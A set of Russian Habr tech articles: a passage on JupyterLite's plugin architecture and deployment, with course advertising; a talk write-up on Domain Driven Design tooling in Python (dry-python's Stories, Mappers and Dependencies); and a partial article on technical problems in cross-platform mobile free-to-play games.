Расширение JupyterLab Drawio, работающее в JupyterLiteСерверная часть JupyterLite в браузере также использует плагины. Сервер — это регистрирующее несколько плагинов приложение [Lumino](https://github.com/jupyterlab/lumino) без оболочки, где регистрируются, например, менеджер содержимого или служба сеансов.
Такой подход делает замену одного плагина на другой очень удобной для разработчиков или администраторов сайта.
Пример: замена менеджера содержимого по умолчанию, который хранит блокноты и файлы в LocalStorage, на менеджера, сохраняющего содержимое в AWS S3.
Обзор архитектуры JupyterLite на основе плагиновМодульность и гибкость JupyterLite позволяют легко добавлять ядра. Ядро Basthon, прототип для запуска которого разрабатывается в [этом](https://framagit.org/casatir/basthon-jupyterlab/) репозитории, использует несколько иную модель выполнения, чем Pyolite: оно запускается в основном потоке пользовательского интерфейса, поэтому пользователи могут напрямую управлять DOM главного окна из Python.
Pyolite, в свою очередь, запускается в веб-воркере как фоновый поток. Оба подхода имеют свои плюсы и минусы, а система плагинов JupyterLite позволяет авторам расширений полностью контролировать свои ядра.
Basthon в JupyterLiteРазвёртывание
-------------
JupyterLite легко разворачивается как статический веб-сайт. Никакой сложной настройки, никаких проблем с масштабируемостью. Только простой, обычный HTTP-сервер статических файлов.
Поэтому появляются варианты: Nginx, [Binder,](https://mybinder.org/) GitHub Pages или страницы GitLab, Vercel, Netlify и многие другие. Можно развернуть JupyterLite в ReadTheDocs, где размещён и постоянно обновляется демонстрационный сайт JupyterLite.
Многие сценарии развёртывания уже задокументированы [здесь](https://jupyterlite.readthedocs.io/en/latest/deploying.html), также есть демонстрационный шаблон, позволяющий легко [развернуть](https://github.com/jupyterlite/demo) настраиваемый веб-сайт JupyterLite на страницах GitHub одним кликом.
Благодаря [работе](https://github.com/jupyterlite/jupyterlite/pull/147) Николаса Боллвега в JupyterLite для удобства развёртывания появился [инструмент командной строки](https://pypi.org/project/jupyterlite/) jupyterlite. Одна из задач JupyterLite — позволить любому пользователю собрать собственный дистрибутив с необходимым ему набором плагинов и расширений. Сегодня для этого нужно работать с jupyterlite, но можно представить экспорт удобнее:
Макет экспортёра JupyterLiteШирокий спектр вариантов
------------------------
Благодаря простоте развёртывания и низкому порогу входа JupyterLite отлично подходит для широкого спектра задач. В образовательном пространстве он упрощает доступ к учебным материалам и вычислительным средам. Преподаватели и студенты могут сосредоточиться на содержании своих занятий, не беспокоясь о развёртывании и мониторинге серверов.
С помощью JupyterLite мы также надеемся привлечь новую волну пользователей Jupyter и сделать всю экосистему ещё доступнее для новичков и более широкого сообщества. В случае небольших проектов это может даже снизить нагрузку на [mybinder.org](https://mybinder.org/) посредством развёрнутой на CDN [версии](https://twitter.com/fperez_org/status/1385825172230262794) JupyterLite — binderlite.
Как быстро попробовать JupyterLite
----------------------------------
JupyterLite можно протестировать по [этой](https://jupyterlite.github.io/demo) ссылке.
Локальный запуск
----------------
Во-первых, установите пакет CLI:
```
pip install --pre jupyterlite
```
Затем создайте веб-сайт JupyterLite и разместите его на локальном сервере:
```
jupyter lite init
jupyter lite build
jupyter lite serve
```
Документация приложения jupyterlite находится [здесь](https://jupyterlite.readthedocs.io/en/latest/developer-guide.html).
А поработать с JupyterLab или JupyterLite на практике вы сможете на наших [курсах по Data Science](https://skillfactory.ru/dstpro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_190821&utm_term=conc), а на курсе [«Machine Learning и Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_190821&utm_term=conc) используется оборудование нашего партнёра и лидера в области вычислений для искусственного интеллекта — компании NVIDIA. Кроме того, [здесь](https://skillfactory.ru/courses/?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_190821&utm_term=conc) вы можете узнать, как начать карьеру или прокачаться, например, в [Fullstack-разработке на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_190821&utm_term=conc):
**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_190821&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_190821&utm_term=cat)
* [Курс «Математика для Data Science»](https://skillfactory.ru/math-stat-for-ds#syllabus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mat_190821&utm_term=cat)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_190821&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_190821&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_190821&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_190821&utm_term=cat)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_190821&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_190821&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_190821&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_190821&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/iosdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_iosdev_190821&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_190821&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_190821&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_190821&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/csharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_190821&utm_term=cat)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_190821&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algo?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_190821&utm_term=cat)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_190821&utm_term=cat)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_190821&utm_term=cat)
**А также:**
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_190821&utm_term=cat) | https://habr.com/ru/post/573726/ | null | ru | null |
# Инструменты Domain Driven Design
Синий кит — отличный пример того, как проектирование сложного проекта пошло не по плану. Кит внешне похож на рыбу, но он млекопитающее: кормит детенышей молоком, у него есть шерсть, а в плавниках до сих пор сохранились кости предплечья и кистей с пальцами, как у сухопутных. Он живет в океанах, но не может дышать под водой, поэтому регулярно поднимается на поверхность глотнуть воздуха, даже когда спит. Кит самое большое животное в мире, длиной с девятиэтажный дом, а массой как 75 автомобилей Volkswagen Touareg, но при этом не хищник, а питается планктоном.
Когда разработчики работали над китом, то не стали писать все с нуля, а использовали наработки из старых проектов. Он словно слеплен из несовместимых частей кода, которые не тестировались, а все проектирование сводилось к выбору фреймворка и к срочному «велосипедированию» уже в продакшне. В итоге получился проект красивый внешне, но с кусками дремучего легаси и костылей под капотом.
Для создания проектов, которые помогают бизнесу зарабатывать, а не похожих на морское животное, которое не может дышать под водой, есть DDD. Это подход, который фокусируется не на инструментах или коде, а на изучении предметной области, отдельных бизнес-процессов и на том, как код или инструменты работают для бизнес-логики.
Что такое DDD и какие инструменты в нем есть, мы расскажем в статье на основе доклада **Артема Малышева**. Подход DDD в Python, инструменты, подводные камни, контрактное программирование и проектирование продукта вокруг решаемой проблемы, а не используемого фреймворка — все это под катом.
*[Полная презентация доклада](https://dry-python.org/static/slides/ddd-toolkit.html#/).*
**Артем Малышев** ([proofit404](https://habr.com/ru/users/proofit404/)) — независимый разработчик, пишет на Python 5 лет, активно помогал с Django Channels 1.0. Позже сфокусировался на архитектурных подходах: изучил, какого инструментария не хватает архитекторам на Python, и начал проект [dry-python](https://github.com/dry-python). Сооснователь компании Drylabs.
Сложность
---------
Что такое программирование?
> Программирование — это постоянная борьба со сложностью, которую создают сами разработчики, когда пытаются решить проблемы.
Сложность делится на два типа: привнесенная и естественная. **Привнесенная** тянется вместе с языками программирования, фреймворками, ОС, моделью асинхронности. Это **техническая сложность**, которая не относится к бизнесу. **Естественная** сложность скрыта в продукте и упрощает жизнь пользователям — за это люди и платят деньги.
> Хорошие инженеры должны уменьшать привнесенную сложность и увеличивать естественную, чтобы повышать полезность продукта.
Но мы, программисты, сложные люди и обожаем добавлять в проекты техническую сложность. Например, мы не заморачивались над стандартами кодирования, не применяли линтеры, практики модульного дизайна и получили в проектах море кода в стиле `if c==1`.
Как работать с таким кодом? Прочитать много файлов, понять переменные, условия и то, когда и как это все будет работать. Этот код тяжело держать в голове — абсолютно техническая привнесенная сложность.
Еще один пример привнесенной сложности — мой любимый «callback hell».
Когда мы пишем в рамках событийно-ориентированной архитектуры (EDA) и выбираем не самый хороший современный фреймворк, то получаем код, в котором непонятно, что и когда происходит. Читать такой код тяжело — это опять привнесенная сложность.
Программисты не только обожают технические сложности, но еще и спорят, какая из них лучше:
* AsyncIO или Gevent;
* PostgreSQL или MongoDB;
* Python или Go;
* Emacs или Vim;
* табы или пробелы;
Правильный ответ хорошего программиста на все эти вопросы: «Без разницы!» Хорошие разработчики не спорят из-за сферических коней в вакууме, а решают проблемы бизнеса и работают над полезностью продукта. Некоторые из них уже давно создали набор практик, которые уменьшают привнесенную сложность и помогают больше думать о бизнесе.
Один из них — **Эрик Эванс**. В 2004 году он написал книгу «Domain Driven Design» («Предметно-ориентированное проектирование»). Она «выстрелила» и дала импульс больше думать о бизнесе, а технические детали отодвинуть на второй план.
Что такое DDD?
--------------
**Сначала решение проблемы, а потом инструменты**. Прежде всего Эванс вкладывал в понятие DDD, что это не технология, а философия. В философии сначала нужно думать, как решить проблему, а уже потом, с помощью каких инструментов.
**Работайте над моделями вместе с экспертами в предметной области и разработчиками ПО.** Мы должны общаться с людьми из бизнеса: искать общий язык, строить модель мира, в рамках которой наш продукт будет работать и решать проблемы.
**Пишите ПО, которое явно выражает модели**. Самое важное отличие DDD от простой коллаборации в команде это то, что мы должны писать ПО в том же стиле, в котором говорим с экспертами предметной области. Вся терминология, подходы к обсуждению и принятию решений должны быть сохранены в исходном коде, чтобы даже не технический человек мог понять, что там происходит.
**Говорите с бизнесом на одном языке**. DDD — это философия о том, как с экспертами из бизнеса говорить на одном языке в рамках определенной области и к этой области применять терминологию. У нас появляется общий язык или диалект в рамках связанного контекста, который мы считаем истиной. Мы создаем границы вокруг архитектурных решений.
> DDD не о технологиях.
**Сначала техническая часть, потом — DDD.** Скульптор, который высекает статую из камня не читает мануал о том, как держать молоток и долото — он уже знает, как ими работать. Чтобы привнести DDD в ваш проект, освойте техническую часть: выучите до конца Django, прочитайте туториал и перестаньте спорить, что брать — PostgreSQL или MongoDB.
**Большинство шаблонов и паттернов проектирования — это технический шум.** Большая часть паттернов, которые мы знаем и используем — технические. Они говорят, как переиспользовать код, как структурировать, но не говорят, как применять его для пользователей, бизнеса и моделировать внешний мир. Поэтому фабрики или абстрактные классы слабо привязаны к DDD.
Первая «синяя» книга вышла почти 20 лет назад. Люди пытались писать в этом стиле, ходили по граблям, и поняли, что философия хорошая, но на практике непонятная. Поэтому появилась вторая книга — «красная», именно о том, как программистам мыслить и писать в DDD.
*«Красная» и «синяя» книги — это столпы, на которых стоит все DDD.*
*Примечание. Красная и синяя книги — это уникальный источник информации о DDD, но они тяжелые. Книги непросто читать: в оригинале из-за сложного языка и терминов, а на русском из-за плохого перевода. Поэтому, начните изучение DDD с «*[*зелёной*](http://www.informit.com/store/domain-driven-design-distilled-9780134434988)*» книги. Это упрощенный вариант первых двух с примерами попроще и общими описаниями. Но лучше так, чем если красная и синяя книга отобьют у вас желание изучать и применять DDD. Лучше читать в оригинале.*
В красной книге проскакивает идея, как лучше всего DDD привносить в проект, как структурировать работу вокруг этого подхода. Появляется новая терминология — «Model-Driven Design», в котором на первое место ставится наша модель внешнего мира.
Единственное место, где выбираются технологии — «Smart UI». Это прослойка между внешним миром, пользователем и нами (отсылка к Роберту Мартину и его чистой архитектуре со слоями). Как видим, все идет к модели.
**Что такое модель?** Это фантомная боль любого архитектора. Все думают, что это UML, но это не так.
> Модель — это набор классов, методов и ссылок между ними, которые отражают бизнес-сценарии в программе.
Модель отражает реальный объект со всеми необходимыми свойствами и функциями. Это высокоуровневый инструментарий, по которому принимаются решения с точки зрения бизнес-кейсов. Методы и классы же, это низкоуровневый инструментарий для архитектурных решений.
Dry-python
----------
Чтобы заполнить нишу моделей, я начал проект [dry-python](https://dry-python.org/), который вырос в **набор библиотек высокоуровневых архитектурных решений** для построения Model Driven Design. Каждая из библиотек пытается закрыть один круг в архитектуре и не мешает другим. Библиотеки можно использовать отдельно, а можно вместе, если войти во вкус.
Последовательность повествования соответствует хронологии оптимального добавления DDD в проект — по слоям. Первый слой — **сервисы**, описание бизнес-сценариев (процессов) в нашей системе. За этот слой отвечает библиотека Stories.
### Stories
Бизнес-сценарии делятся на три части:
* **спецификация** — описание бизнес-процесса;
* **состояние**, в котором может находиться бизнес-сценарий;
* **реализация** каждого шага сценария.
Эти части нельзя смешивать. Библиотека Stories разделяет эти части и проводит между ними четкую границу.
Рассмотрим внедрение DDD и Stories на примере. Например, у нас есть проект на Django с мешаниной из Django-сигналов и непонятных «толстых» моделей. Добавим в него пустой пакет services. С помощью библиотеки Stories по частям перепишем эту мешанину в ясный и понятный набор сценариев в нашем проекте.
**Спецификация DSL.** Библиотека позволяет писать спецификацию и предоставляет для этого DSL. Это способ пошагово описать действия пользователя. Например, чтобы купить `subscription`, я выполняю несколько шагов: найду заказ, уточню актуальность цены, проверю, может ли позволить себе это пользователь. Это высокоуровневое описание.
**Контракт.** Ниже этого класса напишем контракт на состояние бизнес-сценария. Для этого обозначим область переменных, которые возникают в бизнес-процессе, и за каждой переменной закрепим набор валидаторов.
Как только кто-нибудь попробует в рамках бизнес-процесса назначить какую-то переменную в эту область — будет отработан набор валидаторов. Мы будем уверены, что состояние процесса во время выполнения всегда рабочее. Но если нет, оно больно падает и громко об этом кричит.
**Этап реализации каждого шага**. В том же классе `subscription` пишем набор методов, имена которых соответствуют бизнес-шагам. Каждый метод на вход получает состояние, с которым он может работать, но не имеет права его модифицировать. Метод может вернуть какой-то маркер и сообщить:
* что успешно отработал, и предложить поместить переменные в область (скоуп) для дальнейшего выполнения;
* что он что-то проверил и понимает, что дальнейшее выполнение не имеет смысла.
Есть маркеры сложнее: они могут подтверждать, что состояние рабочее, предлагать удалить или изменить какие-то части бизнес процесса. Также можно писать и в классах.
**Запускаем Story.** Как запустить Story на выполнение? Это бизнес-объект, который работает как метод: передаем на вход данные, он их валидирует, интерпретирует шаги. Выполняющаяся Story помнит историю исполнения, записывает состояние, которое происходило в ней в бизнес-процессе, и рассказывает нам, **кто влиял на это состояние**.
**Панель инструментов отладки.** Если пишем на Django и используем панель отладки, можем посмотреть, какие бизнес-сценарии отрабатывались в каждом запросе и их состояния.
**Py.test**. Если пишем в py.test, то для упавшего теста можем посмотреть, какие бизнес-сценарии выполнялись на каждой строке и что пошло не так. Это удобно — вместо ковыряния в коде, прочитаем спецификацию и поймем, что произошло.
**Sentry.** Еще лучше, когда получаем ошибку 500. В обычной системе мы смиряемся с ней и начинаем вести расследование. В Sentry же, появится подробный отчет о том, что делал пользователь, чтобы добиться ошибки. Удобно и приятно, когда в 3 часа ночи такую информацию собрали за тебя.
**ELK**. Сейчас мы активно работаем над плагином, который пишет это все в Elasticsearch в стек Kibana и строит грамотные индексы.
Например, у нас есть контракт на состояние бизнес-процесса. Мы знаем, что там есть, например, `relation ID` отчета. Вместо архаичного исследования того, что там когда-то происходило, мы пишем запрос в Kibana. Он покажет все выполненные Story, которые относятся к определенному пользователю. Дальше мы изучаем состояние внутри наших бизнес-процессов и бизнес-сценариев. Мы не пишем ни одной строки кода логирования, но проект логируется именно на том уровне абстракции, на котором нам интересно смотреть.
Но хочется чего-то более высокоуровневого, например, легких объектов. Такие объекты хранят в себе грамотные структуры данных и методы, которые относятся к принятию бизнес-решений, а не к работе с БД, например. Поэтому мы переходим к следующей части Model-Driven архитектуры — entities, agregates и value objects.
### Entities, agregates и value objects
Как все это взаимосвязано? Например, пользователь сделал заказ продукта, и мы выставляем счет. Что здесь корень агрегации, а что — простой объект?
Все, что подчеркнуто, это корень агрегации. Это то, с чем я хочу работать напрямую: важное, ценное, целостное.
**С чего начать?** Создадим в проекте пустой пакет, куда будем складывать наши агрегаты. Агрегаты лучше писать с чем-то декларативным, вроде `dataclasses` или `attrs`.
**Dataclasses**. Если какой-то `dataclass` укажем агрегатом — напишем на него аннотацию с помощью **NewType**. В аннотации укажем явный референс, который выразим в системе типов. Если же `dataclass` — просто структура данных (entity), то сохраним внутри агрегата.
В контексте Stories могут лежать только агрегаты. Доступ к чему-то вложенному в них можно получить только через публичные методы и правила высокого уровня. Это позволяет логично и грамотно выстроить модель, над которой мы трудимся вместе с экспертами из предметной области. Это тот самый **единый язык**.
Сразу же возникает проблема — репозитории. У меня есть база данных, с которой я работаю через Django, соседний микросервис, в который я отправляю запросы, есть JSON и экземпляр Django-модели. Получать данные и переносить их руками, просто чтобы вызвать или проверить метод красиво? Нет, конечно. В dry-python есть библиотека Mappers, которая позволяет сопоставлять высокоуровневые абстракции и доменные агрегаты с местами, где мы их храним.
### Mappers
Добавляем еще один пакет к нашему проекту — репозиторий, в котором будем хранить наши `mappers`. Это то, как высокоуровневую бизнес логику будем переносить на реальный мир.
Например, мы можем описать то, как мы сопоставляем какой-нибудь `dataclass` с Django-моделью.
**Django ORM.** Сопоставляем модель заказа с описанием Django ORM — смотрим поля.
Например, некоторые поля можем переписать через опциональный config. Произойдет следующее: `mapper` во время декларации будет сравнивать, как написан `dataclass` и модель. Например, аннотации `int` (в `Order dataclass` есть поле `cost` с аннотацией `int`) в Django-модели соответствует `integer field` с опцией `nullable="true"`. Здесь `dataclass` предложит добавить `optional` в `dataclass`, или убрать `nullable` из `field`.
Через Mappers можно добавлять функции, которые что-то читают или пишут. Читающие — это функции, которые получают на вход агрегат и возвращают на него референс. Пишущие поступают наоборот — возвращают агрегаты. Под капотом может быть, например, запрос к базе через Django.
**Определения Swagger.**Те же операции можно проводить и с микросервисами. Можно написать на них часть swagger-схемы и проверить, насколько swagger-схема конкретного сервиса соответствует вашим доменным моделям. Дальше вернувшийся запрос из библиотеки Request будет прозрачно транслирован в `dataclass`.
**Запросы GraphQL.** GraphQL и микросервисы: схема типов интерфейсов GraphQL отлично валидируется против `dataclass`. Можно транслировать конкретные запросы GraphQL во внутренние структуры данных.
Зачем вообще так заботиться о внутренней высокоуровневой модели данных внутри приложения? Для иллюстрации «зачем» расскажу «занимательную» историю.
В одном нашем проекте веб-сокеты работали через сервис Pusher. Мы не заморачивались, обернули его в интерфейс, чтобы не вызывать напрямую. Этот интерфейс привязывали во всех Stories и были довольны.
Но бизнес-требования изменились. Оказалось, что гарантий, которые предоставляет Pusher к веб сокетам, недостаточно. Например, нужна гарантированная доставка сообщений и история сообщений за последние 2 минуты. Поэтому мы решили переехать на сервис Ably Realtime. В нем же есть интерфейс — напишем адаптер и привяжем его везде, все будет здорово. На самом деле нет.
Абстракции, которые использует Pusher (аргументы функций) попали в каждый бизнес-объект. Пришлось поправить порядка 100 Stories, и исправить формирование канала пользователей, в который мы что-то отправляем.
Вернемся к тестам.
### Tests & mocks
Как обычно тестируют такое поведение с внешними сервисами? Что-то мокаем, смотрим, как вызывается сторонняя библиотека, и все — мы уверены, что все хорошо. Но когда библиотека меняется, то форматы аргументов тоже меняются.
Можно сэкономить неделю переписывания тысячи тестов и сотни бизнес-кейсов, если тестировать поведение внутренней модели иначе. Например, чем-то похожим на интеграционное тестирование: пишем в поток пользователя, а уже внутри адаптера, Pusher или Ably транслируем этот поток в название нормального канала, чтобы не писать это все в бизнес-логику.
### Dependencies
В такой модельной архитектуре появляется много лишних сущностей. Раньше мы брали какую-нибудь Django-функцию и писали ее: запрос, ответ, минимум телодвижений. Здесь надо инициализировать Mappers, положить в Stories и инициализировать, обработать строку запроса HTTP-запроса, посмотреть, какой ответ отдать. Все это выливается в 30-50 строк boilerplate кода вызова Stories внутри Django-view.
С другой стороны у нас уже написаны интерфейсы и Mappers. Мы можем проверить их совместимость с конкретным бизнес-кейсом, например, с помощью библиотеки Dependencies. Как? Через паттерн Dependency injection все декларативно склеим с минимальным boilerplate.
Здесь мы указываем задачу взять в пакете services класс, поместить в него три `mappers`, проинициализировать объект Stories и отдать нам. С таким подходом количество boilerplate в коде уменьшается колоссально.
Карта рефакторинга
------------------
Применяя все, о чем я говорил, мы разработали схему, по которой переписали большой проект с Django сигналов (неявного «callback hell») на Django по DDD.
**Первый шаг без DDD**. Сначала у нас не было DDD — мы писали MVP. Когда заработали первые деньги, пригласили инвесторов, и убедили перейти на DDD.
**Stories без контрактов.** Разбили проект на логичные бизнес-кейсы без контрактов данных.
**Контракты и агрегаты**. Потом один за одним перетащили контракт данных на каждую модель, которые прослеживаются в нашей архитектуре.
**Mappers**. Написали Mappers, чтобы избавиться от шаблонов работы с хранилищами данных.
**Внедрение зависимостей**. Избавились от шаблонов склейки.
Если ваш проект перерос MVP и в нем требуется срочно менять архитектуру, чтобы он не скатился в legacy — посмотрите в сторону DDD.
> Какие еще есть способы избежать legacy в Python-проектах, или как с ним бороться, если досталось тяжелое наследство, обсудим на [Moscow Python Conf++](https://conf.python.ru/moscow/2020/) 27 марта. Кроме того в [расписании конференции](https://conf.python.ru/moscow/2020/schedule) доклады о самых разных аспектах работы с Python и об альтернативных вариантах решения привычных задач. А за пределами выступлений у нас [unconference](https://conf.python.ru/moscow/2020#unconference), общение с коллегами из профессиональных [сообществ](https://conf.python.ru/moscow/2020/communities), и консультации [партнеров](https://conf.python.ru/moscow/2020/partners), например, как раз Drylabs.
>
>
>
> А если DDD интересует вас вне Python, то рекомендую обратить внимание на [TechLead Conf](https://techleadconf.ru/2020) — [конференцию про процессы и практики](https://habr.com/ru/company/oleg-bunin/blog/490770/) разработки качественных IT-продуктов, на которой будет DDD радар. Конференция состоится 8 июня, Call for Papers открыт до 6 апреля. | https://habr.com/ru/post/488010/ | null | ru | null |
# Пять проблем при разработке мобильных free-to-play игр
Не секрет, что в последнее время кроссплатформенные мобильные free-to-play игры стали основным направлением деятельности большого числа игровых компаний. В этой статье мы не будем говорить ни о причинах, которые к этому привели, ни о перспективах данного направления. Компании изменили свои бизнес-модели, начертили схемы монетизации и игровых циклов, помолились на SCRUM и Agile, однако в статье речь пойдет и не про это. Игры по-прежнему нужно делать качественно, нужно правильно выбирать технологии, нужно понимать, что ждать от загадочного free-to-play и с чем придется столкнуться. В этой статье мы рассмотрим 5 наиболее важных технологических проблем, возникающих при создании кроссплатформенных мобильных free-to-play игр.
#### 1. Кроссплатформенность
Мысль о создании приложений, способных работать на нескольких платформах сразу, далеко не нова. Для этих целей была создана платформа Java, Microsoft пытался решить проблему разработки под Windows, Xbox и Windows Mobile 7 при помощи .NET и XNA. Была создана Mono, и .NET вышел за пределы, очерченные Редмондом. В общем, копья ломались, кроссплатформенность в каком-то виде появлялась. Однако, реалии таковы, что мобильные free-to-play игры необходимо запускать одновременно на iOS, Android и, совсем идеально, на Facebook.
Проблема в том, что под iOS особо на Java не попишешь, а для приложений для Facebook нужен Adobe Flash. К счастью, обозначенные платформы объединяет язык C++ (не все, наверное, знают, но существует компилятор [FlasCC](http://www.adobe.com/devnet-docs/flascc/docs/Reference.html) под Flash). Идея проста – игра пишется на C++ и делается обвязка на языке, специфичном для платформы. Таким образом, код на C++ без особых изменений переходит с платформы на платформу. Разница между платформами может нивелироваться игровым движком, как делается в случае [Alawar Engine](http://habrahabr.ru/company/alawar/blog/167743/) или [Marmalade SDK](http://www.madewithmarmalade.com/).
Хорошим вариантом является использование [Unity](http://unity3d.com/). Несмотря на то, что основной язык в Unity – C#, благодаря Mono он может исполняться и на iOS и на Android. Однако в этом случае о Flash можно [забыть](http://habrahabr.ru/post/177881/). Можно еще вспомнить про HTML 5 и [PhoneGap](http://phonegap.com/), однако в этой платформе до сих пор есть ряд проблем, в частности с производительностью на мобильных устройствах.
Еще одним камнем преткновения в кроссплатформенной разработке является использование сторонних библиотек и SDK. Многие библиотеки, такие как [Facebook SDK](https://developers.facebook.com/), [Flurry](http://www.flurry.com/), разрабатываются под каждую платформу в отдельности. А так как эти библиотеки могут быть тесно связаны с кодом игры, и написать общий интерфейс для них и добавить в движок не всегда удается, то приходится создавать код вида
```
#if defined(_ANDROID_PLATFORM)
// put your Android code here
#elif defined(_IOS_PLATFORM)
// put your iOS code here
#endif
```
Помимо кода в мобильных платформах могут различаться и поддерживаемые форматы контента, и разрешение экрана. Поэтому при разработке необходимо изначально закладываться на систему конвертации общего контента в платформозависимый.
#### 2. Размер дистрибутива
Разработчики игр, особенно перешедшие на мобильные платформы с десктопных, часто не задумываются о размере получившегося на выходе дистрибутива. Редкая игра под PC последних лет занимает меньше 4Гб. Не вызывает большого приступа ненависти и то, что популярная MMORPG это 20Гб+. Тенденцию не останавливает даже то, что дистрибьюция игр практически полностью стала цифровой. Однако в мобильном free-to-play все кардинально иначе.
Проблема в том, что Google Play и App Store ограничивают размер дистрибутива игры, который может быть выкачен через мобильные сети. У вас есть примерно 50Мб. Игры, которые занимают больший размер, разрешается выкачивать только через сети Wi-Fi. Интересно, что есть такие страны, в которых основная масса населения «сидит» на 3G, и результаты распространения вашей игры в этих странах по понятным причинам будут неутешительными.
Для преодоления этого препятствия многие разработчики идут на хитрость, выкладывая основную часть контента игры на собственных серверах. Игра, которая в магазине занимала всего 10Мб, при первом запуске может спокойно докачивать еще 300Мб даже по 3G. За примерами далеко ходить не надо, практически каждая free-to-play игра сейчас так работает. Надо ли говорить, что для 3G-стран ситуация от этого в лучшую сторону не меняется. Огромная аудитория отваливается, так и не дождавшись первой игровой сессии.
Хорошим решением здесь может быть дробление контента на мелкие порции и закачка этих порций в процессе игры. Игроку в первый игровой день не нужен контент, который предназначается для 10 игрового дня. Но то, что хорошо и просто с точки зрения геймдизайнера, может превратиться в нетривиальную задачу для программиста. Приведу основные проблемы, которые могут встретиться при реализации такого функционала:
* **Версионирование игры**. Хорошая free-to-play игра постоянно обновляется, причем игра обновляется из официального магазина, а контент докачивается с ваших серверов. Необходимо следить за тем, чтобы версия игры и контента были согласованы. А ведь некоторые ваши игроки могут и не обновлять у себя версию игры.
* **Скорость скачивания**. Скачивание дополнительного контента, даже если он разбит на порции, это очень вероятное место ухода игроков. Поэтому, в процессе скачивания, игрока нужно как-то развлекать, по меньшей мере, не останавливать геймплей. Асинхронная работа с чем-либо всегда вносит дополнительные сложности в организацию кода и архитектуру игры.
* **Свободное место на карте памяти**. Понятно, что размер карт памяти ограничен, причем для многих классов устройств существенно. Необходимо еще перед скачкой контента убедиться, что места хватает, а если не хватает, то выдавать игроку осмысленные рекомендации на этот счёт.
* **Место для сохранения контента**. Не секрет, что iOS строго следит за тем, куда пользователю разрешается сохранять файлы. Не сохраняйте скачанный контент в папках, где по задумке Apple должны содержаться кэши и временные файлы программ. Любая утилита по оптимизации места на i-устройстве может удалить ваши файлы без какого-либо предупреждения.
* **Докачивание**. Отличительной особенностью iOS и Android, например, от десктопных операционных систем, является то, что программы здесь часто завершаются снятием задачи в диспетчере. Это означает, что скачивание может быть прервано в любой момент, в том числе в процессе записи на жесткий диск. Необходимо предусмотреть продолжение скачивания контента в следующую игровую сессию и проверку результирующих файлов на целостность.
#### 3. Оперативная память
Оперативной памяти на мобильных устройствах мало. Мало не для программ и операционной системы (хотя и такое бывает, особенно на Android), мало для компьютерных игр. Качество контента в мобильных играх продолжает неуклонно расти, чему способствует большая конкуренция на рынке игр. Люди в основной массе уже не готовы играть в игры с посредственной графикой, предпочитая более качественные аналоги. А текстуры в высоком разрешении могут занимать после загрузки в оперативной памяти значительный объем.
Что же делать? Самый простой и наиболее частый путь – ограничение парка устройств, на которых можно запускать игру. Сделать это просто как в Google Play, так и в App Store, однако чем больше бюджетных моделей устройств будет отброшено, тем больше потенциальных игроков будет потеряно. Перед решением о превращении устройства в неподдерживаемое необходимо обязательно проконсультироваться со статистикой использования этого устройства, благо сейчас такую информацию можно достаточно просто получить.
